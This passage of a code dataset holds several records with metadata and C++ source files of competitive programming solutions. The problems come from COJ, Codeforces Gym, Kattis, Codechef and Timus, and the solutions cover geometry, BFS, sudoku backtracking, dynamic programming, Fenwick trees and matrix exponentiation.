\"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3950372338294983, "alphanum_fraction": 0.40942928194999695, "avg_line_length": 21.430233001708984, "blob_id": "7025d277a9ee7996568e10d8bd8f27583c4c0db1", "content_id": "7a34d4a808e7722ea49c24008634db41dc05b9d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2015, "license_type": "no_license", "max_line_length": 64, "num_lines": 86, "path": "/COJ/eliogovea-cojAC/eliogovea-p3381-Accepted-s925360.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst double EPS = 1e-9;\r\n\r\nconst int N = 105;\r\n\r\nint n;\r\nint x[N], y[N], r[N];\r\n\r\ninline double dist(double x1, double y1, double x2, double y2) {\r\n\tdouble dx = x1 - x2;\r\n\tdouble dy = y1 - y2;\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i] >> r[i];\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint cnt = 0;\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tint dx = x[i] - x[j];\r\n\t\t\tint dy = y[i] - y[j];\r\n\t\t\tif (dx * dx + dy * dy <= r[j] * r[j]) {\r\n\t\t\t\tcnt++;\r\n\t\t\t}\r\n\t\t}\r\n\t\tans = max(ans, cnt);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tdouble d = dist(x[i], y[i], x[j], y[j]);\r\n\t\t\tdouble dx = x[j] - x[i];\r\n\t\t\tdouble dy = y[j] - y[i];\r\n\t\t\tif (fabs(d - (double(r[i] + r[j]))) < EPS) {\r\n\t\t\t\tdouble t = (double)r[i] / d;\r\n\t\t\t\tdouble xx = (double)x[i] + t * dx;\r\n\t\t\t\tdouble yy = (double)y[i] + t * dy;\r\n\t\t\t\tint cnt = 0;\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tif (dist(x[k], y[k], xx, yy) < (double)r[k] + EPS) {\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tans = max(ans, cnt);\r\n\t\t\t} else if (d < (double)r[i] + r[j]) {\r\n\t\t\t\tdouble df = ((double)(r[i] * r[i] - r[j] * r[j])) / d;\r\n\t\t\t\tdouble a = (d + df) / 2.0;\r\n\t\t\t\tdouble t = a / d;\r\n\t\t\t\tdouble xx = (double)x[i] + t * dx;\r\n\t\t\t\tdouble yy = (double)y[i] + t * dy;\r\n\t\t\t\tdouble ndx = -dy;\r\n\t\t\t\tdouble ndy = dx;\r\n\t\t\t\tdouble l = sqrt((double(r[i] * r[i])) - a * a);\r\n\t\t\t\tt = l / d;\r\n\t\t\t\tdouble nxx = xx + ndx * t;\r\n\t\t\t\tdouble nyy = yy + ndy * t;\r\n\t\t\t\tint cnt = 0;\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tif (dist(nxx, nyy, x[k], y[k]) < (double)r[k] + EPS) {\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tans = max(cnt, ans);\r\n\t\t\t\tnxx = xx - ndx * t;\r\n\t\t\t\tnyy = yy - ndy * t;\r\n\t\t\t\tcnt = 0;\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tif (dist(nxx, nyy, x[k], y[k]) < (double)r[k] + EPS) {\r\n\t\t\t\t\t\tcnt++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tans = max(cnt, ans);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n cout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3845646381378174, "alphanum_fraction": 0.40963059663772583, "avg_line_length": 18.435897827148438, "blob_id": "d72640962f9fc535192ba9cb5003ddfa97a105d4", "content_id": "7c54bc13f0f807356e9c0c83465aab142286fea5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1516, "license_type": "no_license", "max_line_length": 47, "num_lines": 78, "path": "/Codeforces-Gym/100198 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)\n// 100198E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 1000010;\n\nint level[MAXN];\ntypedef pair<int,int> par;\n\nvector<int> g[MAXN];\npar arcos[MAXN];\n\nint cola[MAXN];\nvector<int> sol[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n freopen(\"defence.in\",\"r\",stdin);\n freopen(\"defence.out\",\"w\",stdout);\n\n int n,m,s,t; cin >> n >> m >> s >> t;\n\n for(int i = 0; i < m; i++){\n int u,v; cin >> u >> v;\n\n g[u].push_back(v);\n g[v].push_back(u);\n\n arcos[i] = par(u,v);\n }\n\n int enq = 0, deq = 0;\n\n level[ s ] = 1;\n cola[enq++] = s;\n\n while( enq - deq ){\n int u = cola[deq++];\n for(int i = 0; i < g[u].size(); i++){\n int v = g[u][i];\n if( !level[v] ){\n level[v] = level[u] + 1;\n cola[enq++] = v;\n }\n }\n }\n\n for(int i = 0; i < m; i++){\n int u = arcos[i].first;\n int v = arcos[i].second;\n\n if( level[u] > level[v] ){\n swap( u , v );\n }\n\n if( level[v] > level[t] ){\n sol[1].push_back( i+1 );\n }\n else{\n sol[ level[u] ].push_back( i+1 );\n }\n }\n\n cout << level[t]-1 << '\\n';\n for(int i = 1; i < level[t]; i++){\n cout << sol[i].size();\n for(int j = 0; j < sol[i].size(); j++){\n cout << ' ' << sol[i][j];\n }\n cout << '\\n';\n }\n}\n" }, { "alpha_fraction": 0.29701685905456543, "alphanum_fraction": 0.30998703837394714, "avg_line_length": 10.850000381469727, "blob_id": "a73fc7daf753ab572758e09edbb8e54cac367144", "content_id": "f800986c54196134eb4ea99295a2202934c62d51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 771, "license_type": "no_license", "max_line_length": 37, "num_lines": 60, "path": "/Kattis/anewalphabet.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring newAlph[] {\r\n\t\"@\",\r\n\t\"8\",\r\n\t\"(\",\r\n\t\"|)\",\r\n\t\"3\",\r\n\t\"#\",\r\n\t\"6\",\r\n\t\"[-]\",\r\n\t\"|\",\r\n\t\"_|\",\r\n\t\"|<\",\r\n\t\"1\",\r\n\t\"[]\\\\/[]\",\r\n\t\"[]\\\\[]\",\r\n\t\"0\",\r\n\t\"|D\",\r\n\t\"(,)\",\r\n\t\"|Z\",\r\n\t\"$\",\r\n\t\"']['\",\r\n\t\"|_|\",\r\n\t\"\\\\/\",\r\n\t\"\\\\/\\\\/\",\r\n\t\"}{\",\r\n\t\"`/\",\r\n\t\"2\"\r\n};\r\n\r\ninline int val(char ch) {\r\n if (ch >= 'A' && ch <= 'Z') {\r\n return ch - 'A';\r\n }\r\n if (ch >= 'a' && ch <= 'z') {\r\n return ch - 'a';\r\n }\r\n return -1;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tstring s;\r\n\tgetline(cin, s);\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tif (val(s[i]) != -1) {\r\n\t\t\tcout << newAlph[val(s[i])];\r\n\t\t} else {\r\n cout << s[i];\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.2910253405570984, "alphanum_fraction": 0.32228273153305054, "avg_line_length": 18.70098114013672, "blob_id": "4b4aa4c3f4c1c44aeb0d10e6d3c50371b3d1bed4", "content_id": "ff19b02194a3497e4e37924fe1d2f8fa9f13810a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4223, "license_type": "no_license", "max_line_length": 63, "num_lines": 204, "path": "/COJ/eliogovea-cojAC/eliogovea-p3487-Accepted-s904713.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 20;\r\n\r\nbool fila[N][N], col[N][N], cuadro[N][N][N];\r\n\r\nint ans[N][N];\r\n\r\nbool ok = false;\r\n\r\nvoid fill(int x, int y) {\r\n if (ok) {\r\n return;\r\n }\r\n\tif (x == 9) {\r\n\t\tfor (int i = 0; i < 3; i++) {\r\n\t\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\t\tcout << ans[i][j];\r\n\t\t\t\tif (j < 8) cout << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t\tcout << \"------+-------+------\\n\";\r\n\t\tfor (int i = 3; i < 6; i++) {\r\n\t\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\t\tcout << ans[i][j];\r\n\t\t\t\tif (j < 8) cout << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t\tcout << \"------+-------+------\\n\";\r\n\t\tfor (int i = 6; i < 9; i++) {\r\n\t\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\t\tcout << ans[i][j] << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"| \";\r\n\t\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\t\tcout << ans[i][j];\r\n\t\t\t\tif (j < 8) cout << \" \";\r\n\t\t\t}\r\n\t\t\tcout << \"\\n\";\r\n\t\t}\r\n\t\tok = true;\r\n\t\treturn;\r\n\t}\r\n\tif (ans[x][y]) {\r\n\t\tif (y == 8) {\r\n\t\t\tfill(x + 1, 0);\r\n\t\t} else {\r\n\t\t\tfill(x, y + 1);\r\n\t\t}\r\n\t} else {\r\n\t\tfor (int i = 1; i <= 9; i++) {\r\n\t\t\tif (!fila[x][i] && !col[y][i] && !cuadro[x / 3][y / 3][i]) {\r\n\t\t\t\tans[x][y] = i;\r\n\t\t\t\tfila[x][i] = true;\r\n\t\t\t\tcol[y][i] = true;\r\n\t\t\t\tcuadro[x / 3][y / 3][i] = true;\r\n\t\t\t\tif (y == 8) {\r\n\t\t\t\t\tfill(x + 1, 0);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tfill(x, y + 1);\r\n\t\t\t\t}\r\n\t\t\t\tans[x][y] = 0;\r\n\t\t\t\tcuadro[x / 3][y / 3][i] = false;\r\n\t\t\t\tcol[y][i] = false;\r\n\t\t\t\tfila[x][i] = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tchar ch;\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tstring s;\r\n\tcin >> s;\r\n\tfor (int i = 3; i < 6; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> s;\r\n\tfor (int i = 6; i < 9; i++) {\r\n\t\tfor (int j = 0; j < 3; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 3; j < 6; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcin >> ch;\r\n\t\tfor (int j = 6; j < 9; j++) {\r\n\t\t\tcin >> ch;\r\n\t\t\tif (ch != '*') {\r\n\t\t\t\tans[i][j] = ch - '0';\r\n\t\t\t\tfila[i][ch - '0'] = true;\r\n\t\t\t\tcol[j][ch - '0'] = true;\r\n\t\t\t\tcuadro[i / 3][j / 3][ch - '0'] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/*for (int i = 0; i < 9; i++) {\r\n for (int j = 0;j < 9; j++) {\r\n cout << ans[i][j] << \" \";\r\n }\r\n cout << \"\\n\";\r\n\t}*/\r\n\r\n\tfill(0, 0);\r\n}\r\n" }, { "alpha_fraction": 0.36787149310112, "alphanum_fraction": 0.41526103019714355, "avg_line_length": 20.101694107055664, "blob_id": "b4b6d60c6f1d974aaa29cf2f2efe665c53737136", "content_id": "22bcc787dfdf4c16b5d3077bb206f6625132d6b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1245, "license_type": "no_license", "max_line_length": 77, "num_lines": 59, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 105;\nconst int INF = 5e8;\n\nint n;\nint val[N];\nint dp[N][N];\nint gcd[1005][1005];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tfor (int a = 0; a <= 1000; a++) {\n\t\tgcd[a][0] = gcd[0][a] = a;\n\t}\n\tfor (int a = 1; a <= 1000; a++) {\n\t\tfor (int b = 1; b <= a; b++) {\n\t\t\tgcd[a][b] = gcd[b][a] = gcd[b][a % b];\n\t\t\t//assert(gcd[a][b] == __gcd(a, b));\n\t\t}\n\t}\n\twhile (cin >> n) {\n\t\tif (n == 0) {\n\t\t\tbreak;\n\t\t}\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> val[i];\n\t\t}\n\t\tfor (int l = 1; l <= 2; l++) {\n\t\t\tfor (int s = 0; s < n; s++) {\n int e = (s + l - 1) % n;\n\t\t\t\tdp[s][e] = 0;\n\t\t\t}\n\t\t}\n\t\tfor (int l = 3; l <= n; l++) {\n\t\t\tfor (int s = 0; s < n; s++) {\n\t\t\t\tint e = (s + l - 1) % n;\n\t\t\t\tdp[s][e] = INF;\n\t\t\t\tfor (int m = (s + 1) % n; m != e; m = (m + 1) % n) {\n\t\t\t\t\tdp[s][e] = min(dp[s][e], dp[s][m] + dp[m][e] + gcd[val[s]][val[e]]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint ans = INF;\n\t\tfor (int s = 0; s < n; s++) {\n\t\t\tfor (int e = s + 1; e < n; e++) {\n ans = min(ans, dp[s][e] + dp[e][s] + gcd[val[s]][val[e]]);\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.38057324290275574, "alphanum_fraction": 0.4060509502887726, "avg_line_length": 11.539999961853027, "blob_id": "f628895c5ca6b4e6becd1b1c4936fb4ff018dda6", "content_id": "1aa967893a4524823d00b554ce8a56b8eb32b57a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 628, "license_type": "no_license", "max_line_length": 29, "num_lines": 50, "path": "/Codechef/COOKMACH.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint a, b;\n\nbool PowOf2(int x) {\n\tint lo = 0;\n\tint hi = 1 << 28;\n\twhile (lo <= hi) {\n\t\tint mid = (lo + hi) >> 1;\n\t\tif ((1 << mid) == x) {\n\t\t\treturn true;\n\t\t}\n\t\tif ((1 << mid) < x) {\n\t\t\tlo = mid + 1;\n\t\t} else {\n\t\t\thi = mid - 1;\n\t\t}\n\t}\n\treturn false;\n}\n\nint t;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> a >> b;\n\t\tint ans = 0;\n\t\twhile (!PowOf2(a)) {\n\t\t\ta >>= 1;\n\t\t\tans++;\n\t\t}\n\t\tif (a >= b) {\n\t\t\twhile (a != b) {\n\t\t\t\ta >>= 1;\n\t\t\t\tans++;\n\t\t\t}\n\t\t} else {\n\t\t\twhile (a != b) {\n\t\t\t\ta <<= 1;\n\t\t\t\tans++;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.3747346103191376, "alphanum_fraction": 0.42144373059272766, "avg_line_length": 15.241379737854004, "blob_id": "5ad184eadb1cfa7fb81eb39c6ffbb0e41dd87f43", "content_id": "80db003aa16dbeb32900087dea89a7748a54b8f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 942, "license_type": "no_license", "max_line_length": 56, "num_lines": 58, "path": "/Caribbean-Training-Camp-2017/Contest_1/Solutions/A1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\n\nint n, l;\nLL w[500 * 1000 + 10];\nLL e[500 * 1000 + 10], v[500 * 1000 + 10];\n\nint bit[500 * 1000 + 10];\n\ninline void update(int p, int n, int v) {\n while (p <= n) {\n bit[p] += v;\n p += p & -p;\n }\n}\n\ninline int query(int p) {\n int res = 0;\n while (p > 0) {\n res += bit[p];\n p -= p & -p;\n }\n return res;\n}\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n cin >> n >> l;\n\n\n for (int i = 0; i < n; i++) {\n cin >> w[i];\n e[i] = l * w[i] + (long long)i;\n v[i] = e[i];\n }\n\n sort(v, v + n);\n int cnt = unique(v, v + n) - v;\n\n\n LL ans = 0;\n for (int i = 0; i < n; i++) {\n int pos = lower_bound(v, v + cnt, e[i]) - v + 1;\n ans += (long long)(i - query(pos));\n update(pos, cnt, 1);\n }\n\n cout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.45132744312286377, "alphanum_fraction": 0.4601770043373108, "avg_line_length": 10.55555534362793, "blob_id": "3fb8336a4b7ff8348ca030b1fe4d4aa7e9fd7b52", "content_id": "935557a1fcc4459e4e5e9a724e54ef5e01b80015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 113, "license_type": "no_license", "max_line_length": 30, "num_lines": 9, "path": "/COJ/eliogovea-cojAC/eliogovea-p2650-Accepted-s541431.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\ndouble x,y;\r\n\r\nint main()\r\n{\r\n scanf(\"%lf%lf\",&x,&y);\r\n printf(\"%.2lf\\n\",(x-y)/x);\r\n}\r\n" }, { "alpha_fraction": 0.33125001192092896, "alphanum_fraction": 0.3843750059604645, "avg_line_length": 15.777777671813965, "blob_id": "57435ccb2a67edc399d9917af786d889bd302fdd", "content_id": "1893d630dd105250c0b3a02ee8c26e2ab10470db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1280, "license_type": "no_license", "max_line_length": 42, "num_lines": 72, "path": "/COJ/eliogovea-cojAC/eliogovea-p3673-Accepted-s959374.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint n, m, x;\r\nstring s;\r\nint bad[15][15];\r\n\r\nint dp[100005][2][15];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> s >> m;\r\n\twhile (m--) {\r\n\t\tcin >> x;\r\n\t\tbad[x / 10][x % 10] = true;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ts[i] -= '0';\r\n\t}\r\n\tfor (int i = 0; i < s[0]; i++) {\r\n\t\tdp[1][0][i] = 1;\r\n\t}\r\n\tdp[1][1][s[0]] = 1;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\t//igual\r\n\t\tfor (int j = 0; j < 10; j++) {\r\n\t\t\tif (dp[i][1][j]) {\r\n\t\t\t\tfor (int k = 0; k < s[i]; k++) {\r\n\t\t\t\t\tif (!bad[j][k]) {\r\n\t\t\t\t\t\tadd(dp[i + 1][0][k], dp[i][1][j]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (!bad[j][s[i]]) {\r\n\t\t\t\t\tadd(dp[i + 1][1][s[i]], dp[i][1][j]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//menor\r\n\t\tfor (int j = 0; j < 10; j++) {\r\n\t\t\tif (dp[i][0][j]) {\r\n\t\t\t\tfor (int k = 0; k < 10; k++) {\r\n\t\t\t\t\tif (!bad[j][k]) {\r\n\t\t\t\t\t\tadd(dp[i + 1][0][k], dp[i][0][j]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < 10; i++) {\r\n\t\tadd(ans, dp[n][0][i]);\r\n\t\tadd(ans, dp[n][1][i]);\r\n\t}\r\n\tadd(ans, MOD - 1);\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.40574002265930176, "alphanum_fraction": 0.43725380301475525, "avg_line_length": 15.450980186462402, "blob_id": "093b520efecfeaf42691b068250a1a56f0cf591f", "content_id": "21edf404f1dc99bd0d4ae7ea4afe62456c33a22c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1777, "license_type": "no_license", "max_line_length": 57, "num_lines": 102, "path": "/Timus/1013-6165702.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1013\n// Verdict: Accepted\n\n#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nll n, m, k;\r\n\r\ninline ll mul(ll a, ll b, ll mod) {\r\n\ta %= mod;\r\n\tb %= mod;\r\n\tif (mod < int(1e9)) return a * b % mod;\r\n\tll k = (ll)((long double)a * b / mod);\r\n\tll res = a * b - k * mod;\r\n\tres %= mod;\r\n\tif (res < 0) res += mod;\r\n\treturn res;\r\n}\r\n\r\n/*inline ll mul(ll a, ll b, ll mod) {\r\n\tif (mod < (int)1e9) {\r\n\t\treturn (a * b) % mod;\r\n\t}\r\n\tll res = 1;\r\n\tif (a > b) {\r\n\t\tswap(a, b);\r\n\t}\r\n\twhile (b) {\r\n\t\tif (b & 1LL) {\r\n\t\t\tres = (res * a) % mod;\r\n\t\t}\r\n\t\ta = (a * a) % mod;\r\n\t\tb >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}*/\r\n\r\nconst int SIZE = 3;\r\n\r\nstruct matrix {\r\n\tll m[SIZE][SIZE];\r\n};\r\n\r\ninline matrix mul_mat(const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tfor (int i = 0; i < SIZE; i++) {\r\n\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\tres.m[i][j] = 0;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < SIZE; i++) {\r\n\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\tfor (int k = 0; k < SIZE; k++) {\r\n\t\t\t\tres.m[i][j] += mul(a.m[i][k], b.m[k][j], m);\r\n\t\t\t\tres.m[i][j] %= m;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, ll n) {\r\n\tmatrix res;\r\n\tfor (int i = 0; i < SIZE; i++) {\r\n\t\tfor (int j = 0; j < SIZE; j++) {\r\n\t\t\tres.m[i][j] = (i == j);\r\n\t\t}\r\n\t}\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = mul_mat(res, x);\r\n\t\t}\r\n\t\tx = mul_mat(x, x);\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix M;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> k >> m;\r\n\tM.m[0][0] = 0;\r\n\tM.m[0][1] = 0;\r\n\tM.m[0][2] = k - 1LL;\r\n\tM.m[1][0] = 0;\r\n\tM.m[1][1] = 0;\r\n\tM.m[1][2] = k - 1LL;\r\n\tM.m[2][0] = 0;\r\n\tM.m[2][1] = 1;\r\n\tM.m[2][2] = k - 1LL;\r\n\tM = power(M, n);\r\n\tll ans = (M.m[0][1] + M.m[0][2] + m) % m;\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.41493383049964905, "alphanum_fraction": 0.4229678511619568, "avg_line_length": 17.962265014648438, "blob_id": "17564969f45f43c13d7e3c687cb9114c50804a68", "content_id": "80bc9da11f79b40628c2e4546d210bb4368c1447", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2116, "license_type": "no_license", "max_line_length": 96, "num_lines": 106, "path": "/COJ/eliogovea-cojAC/eliogovea-p3289-Accepted-s815563.cpp", "repo_name": 